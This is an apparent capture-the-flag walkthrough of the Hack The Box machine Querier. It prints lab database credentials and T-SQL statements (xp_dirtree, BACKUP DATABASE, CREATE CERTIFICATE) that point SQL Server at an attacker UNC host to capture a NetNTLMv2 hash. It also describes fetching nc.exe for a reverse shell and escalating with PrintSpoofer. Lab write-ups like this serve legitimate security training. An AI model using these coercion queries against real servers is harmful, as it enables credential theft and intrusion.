Hackthebox.eu Querier Revisited
About two years have gone by since completing the machine Querier on hackthebox.eu made by mrh4sh and egre55. The reason I liked this box so much back then is because it opened my eyes to the many ways UNC paths can be abused to capture Windows netntlmv2 hashes.
Things change fast in the security world. For this walk-through, I will show some other ways of obtaining the mssql-svc user netntlmv2 hash by using Transact-SQL statements instead of common stored procedures and provide some of the references to where I found this information. Also, since this box is a Windows Server 2019, when it was released the new psuedo-potato variants (for lack of a better name to call them) hadn’t emerged yet. Microsoft had patched Server 2019 against juicy potato attacks. However, several new psuedo-potato variants have emerged including decoder_it’s and splinter_code’s Rogue Potato and itm4n’s PrintSpoofer variant. Since ippsec and 0xdf have already shown Rogue Potato, I will show itm4n’s method for privilege escalation to NT Authority System from a Network Service account. It’s worth mentioning that itm4n also has developed a very nice windows privilege escalation script called PrivescCheck. Try it out if you haven’t already: https://github.com/itm4n/PrivescCheck.
Getting started, nmap shows us the following ports open with nmap -Pn -p- 10.10.10.125 -v :
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1433/tcp open ms-sql-s
5985/tcp open wsman
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
49671/tcp open unknownThe three ports that are most interesting to me are 445/SMB, 1433/MSSQL, and 5985/WSMAN.
A bit of recent history: When this box was released, evil-winrm had not come out yet and people were using alamot’s winrm shell to login remotely when they had credentials: https://github.com/Alamot/code-snippets/blob/master/winrm/winrm_shell.rb. The developers of evil-winrm have added really nice features including ability to bypass AMSI, and easy file upload/download features to name a few. Much thanks to OscarakaElvis et al for the robust features. If you haven’t used evil-winrm yet, go get it here: https://github.com/Hackplayers/evil-winrm.
For now, let’s focus on 445 and 1433. Let’s run another nmap just on port 1433 to get additional information with nmap -Pn -p 1433 -A 10.10.10.125 :
1433/tcp open ms-sql-s Microsoft SQL Server 14.00.1000.00
| ms-sql-ntlm-info:
| Target_Name: HTB
| NetBIOS_Domain_Name: HTB
| NetBIOS_Computer_Name: QUERIER
| DNS_Domain_Name: HTB.LOCAL
| DNS_Computer_Name: QUERIER.HTB.LOCAL
| DNS_Tree_Name: HTB.LOCAL
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2019-02-16T18:53:29
| Not valid after: 2049-02-16T18:53:29
| MD5: 348d 9ab3 adf7 325e cbbb 9f82 cfa1 524c
|_SHA-1: 0a00 8424 1d58 94c5 250b 0c7e b083 4286 f873 3047
|_ssl-date: 2019-02-16T19:36:25+00:00; -8m16s from scanner time.Microsoft Windows Server 2012 (93%)Host script results:
|_clock-skew: mean: -8m16s, deviation: 0s, median: -8m16s
| ms-sql-info:
| 10.10.10.125:1433:
| Version:
| name: Microsoft SQL Server
| number: 14.00.1000.00
| Product: Microsoft SQL Server
|_ TCP port: 1433
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-02-16 14:36:25
|_ start_date: N/A
Back when I ran this nmap scan, it was enumerating the server as Windows 2012 (93%). This is likely because Server 2019 was so new, thus not able to fingerprint it yet. With the above information, we can update our /etc/hosts file. Attempting to access the shares provides the following info:
smbclient -L 10.10.10.125Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
Reports Disksmbclient \\\\10.10.10.125\\Reports --no-passsmb: \> dir
. D 0 Mon Jan 28 18:23:48 2019
.. D 0 Mon Jan 28 18:23:48 2019
Currency Volume Report.xlsm A 12229 Sun Jan 27 17:21:34 20196469119 blocks of size 4096. 1610166 blocks available
We are allowed to get the file named “Currency Volume Report.xlsm”. It turns out this file has a macro. Running strings on the file shows there is an embedded file called vbaProject.bin. You can sudo apt install libreoffice to open it in your kali. By default, LibreOffice has a security setting you have to modify to see the macro: tools →options →security →macro security → low (not recommended).
After adjusting these settings we can see the code in the macro by going to tools →macros →edit macros →report.xlsm →VBA Project →Document Objects →This Workbook → Connect:
Now that we have credentials for the database, we can attempt to login.
/home/kali/.local/bin/mssqlclient.py QUERIER/reporting:'PcwTWTHRwryjc$c6'@10.10.10.125 -port 1433 -db volume -windows-authOnce we’re in the database we want to run some basic queries to get additional information. Some of the things we’d look for are the version, database permissions for our user, and principals.
We can also use metasploit to enumerate principals for both the server and the database using the mssql_enum_sql_logins module.
We know from other Querier write-ups that we can use the xp_dirtree stored procedure to hijack a UNC path and point it to our server, thus intercepting the netntlmv2 hash for the user mssql-svc with Responder or impacket-smbserver.py.
EXEC master.sys.xp_dirtree '\\10.10.14.2\file'There is also a metasploit module to check for this with xp_dirtree and xp_fileexist stored procedures called mssql_ntlm_stealer.
But what if we didn’t have access to that stored procedure? Are there other methods we can use to intercept the hash for mssql-svc in the current database configuration? It turns out there are. We can use other Transact-SQL statements. A nice list of known UNC path hijacks from mssql can be found here: https://github.com/NetSPI/PowerUpSQL/wiki/SQL-Server---UNC-Path-Injection-Cheat-Sheet. Thank you NetSPI et al for your research contributions in this area.
From this list I was able to use 2 different statements to intercept the hash of the mssql-svc user. It’s worth noting that several of these statements triggered an auth but from the machine account and not the mssql-svc user account. We’ll start with the BACKUP query.
BACKUP DATABASE volume TO DISK = '\\10.10.14.2\file'
This BACKUP statement worked because reporting was the volume database owner.
Of note, NetSPI says the following about using BACKUP and RESTORE:
Notes: The Public role can't actually execute the BACKUP, but the UNC path is resolved prior to the authorization check.Recommendation: Apply MS16-136. No patch available for SQL Server 2008 and prior.
So, it’s important to understand the role differences. If the user we had was not the db_owner and had access through a public role, this most likely would not work.
Moving on, the second statement that worked for me was:
CREATE CERTIFICATE testing123 FROM EXECUTABLE FILE = '\\10.10.14.2\file';
If we look at the Microsoft documentation for CREATE CERTIFICATE, we can see why this statement worked.
The point of me showing these two additional methods to intercept the hash of mssql-svc user is because if the stored procedures didn’t work, we could use other Transact-SQL statements to intercept the hash. If you’re interested in looking more into mssql statements where path hijacks might exist, see the Microsoft documentation for SQL Server 2019 →Reference →Transact-SQL (T-SQL) →Statements: https://docs.microsoft.com/en-us/sql/t-sql/statements/statements?view=sql-server-ver15. When testing these statements, be sure to understand the different roles and database permissions for your environment.
Moving on, we can now login with the mssql-svc credentials and enable xp_cmdshell. Then we’ll look at the user’s privileges by running the command whoami /all.
We can test from the database if we can write to \users\mssql-svc\Documents and check to see if Defender is running with tasklist. Using powershell wget, we can transfer nc.exe onto the box and get a reverse shell. Then, we can transfer PrintSpoofer.exe onto the box and execute it to gain NT Authority System.
You can read more about itm4n’s work here: https://github.com/itm4n/PrintSpoofer. The reason this privilege escalation worked in this scenario is because we were 1) a network service, and 2) had SEImpersonatePrivilege.
Also, thanks vcsec for helping me understand some key basics about SQL Server.
References and ShoutOuts:
